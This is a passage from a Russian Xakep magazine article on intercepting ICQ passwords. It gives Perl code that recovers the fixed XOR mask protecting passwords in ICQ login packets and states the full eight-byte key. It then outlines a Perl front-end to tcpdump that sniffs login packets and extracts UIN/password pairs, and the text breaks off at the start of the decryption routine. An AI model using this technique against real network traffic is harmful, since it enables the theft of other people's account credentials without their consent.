|
Перехват ICQ паролей Константин Клягин Xakep, номер #052, стр. 052-082-4 $rightpass1 = "xxx123"; $pass2 = "\x92\x44\xe2\xa0"; $rightpass2 = ""; $pass3 = "\xc2\x14\xb2"; $rightpass3 = ""; $xorseq = ""; for($i = 0; $i < length($pass1); $i++) { $n = ord(substr($pass1, $i, 1)) ^ ord(substr($rightpass1, $i, 1)); $xorseq .= chr($n); if(length($rightpass2) < length($pass2)) { $rightpass2 .= chr(ord(substr($pass2, $i, 1)) ^ $n); } if(length($rightpass3) < length($pass3)) { $rightpass3 .= chr(ord(substr($pass3, $i, 1)) ^ $n); } } print "rightpass2 = $rightpass2\n"; print "rightpass3 = $rightpass3\n"; print "xor sequence: "; for($i = 0; $i < length($xorseq); $i++) { printf "\\x%x", ord(substr($xorseq, $i, 1)); } print "\n"; Все верно, пароли шифруются при помощи XOR с одной и той же маской. Вот вывод: rightpass2 = abcd rightpass3 = 123 xor sequence: \xf3\x26\x81\xc4\x39\x86 Такой финт ушами позволил нам выяснить позиционно-зависимые числа, используемые для операции xor с шестью первыми символами. Для расшифровки паролей любой длины, вплоть до максимальной, посмотрим на логин-пакет, содержащий восьмисимвольный пароль (ICQ для Windows не дает вводить больше восьми символов). Следуя уже привычной схеме, подставим его в текст программы (переменная $pass1), а расшифрованный вариант - в $rightpass1. Итог - последовательность байт "\xf3\x26\x81\xc4\x39\x86\xdb\x92". Зная ее, можно легко расшифровать любой ICQ-пароль. Знание - сила :). Собственно и сам снифер ICQ-паролей Обычно написание какого-то специфического снифера, особенно в первый раз - занятие не из легких. Ведь прежде всего нужно разобраться в системных вызовах, предназначенных для управления сетевыми интерфейсами. Затем написать набор функций для вычитывания проходящего трафика, фильтруя при этом только нужные пакеты по определенным признакам. Можно взять библиотеку libpcap и начать разбираться с ней. Тот еще напряг. Такой подход может испортить все впечатление от снифинга как такового и растянуть процесс написания на неопределенное время. Поэтому мы поступим несколько иначе. Взамен предлагается использовать знакомый стандартный и удобный инструмент - tcpdump, который содержит в себе все необходимые функции для перехвата трафика. Нам даже не придется копаться в его исходниках. Дело в том, что с помощью одного полезного параметра командной строки (-w) можно сделать так, что весь нужный трафик будет выводиться в виде потока в файл или на стандартное устройство вывода (терминал). Абсолютно неприемлемо для просмотра "вручную", где режим hex выглядит гораздо приятнее, но для автоматического анализа - самое оно. То, что мы напишем, будет программой-надстройкой над tcpdump, читающей вывод последнего. Буржуи называют это front-end. При обнаружении логин-пакета, содержимое его будет разобрано, и пара UIN/пароль "выкушена" и показана. Опять же, язык реализации выберем по признаку удобства анализа строк - Perl. Благодаря поддержке регулярных выражений, "отлов" пакета в нем будет занимать всего одну строчку. #!/usr/bin/perl sub decryptpassword { my ($pass) = @_; my $res = ""; |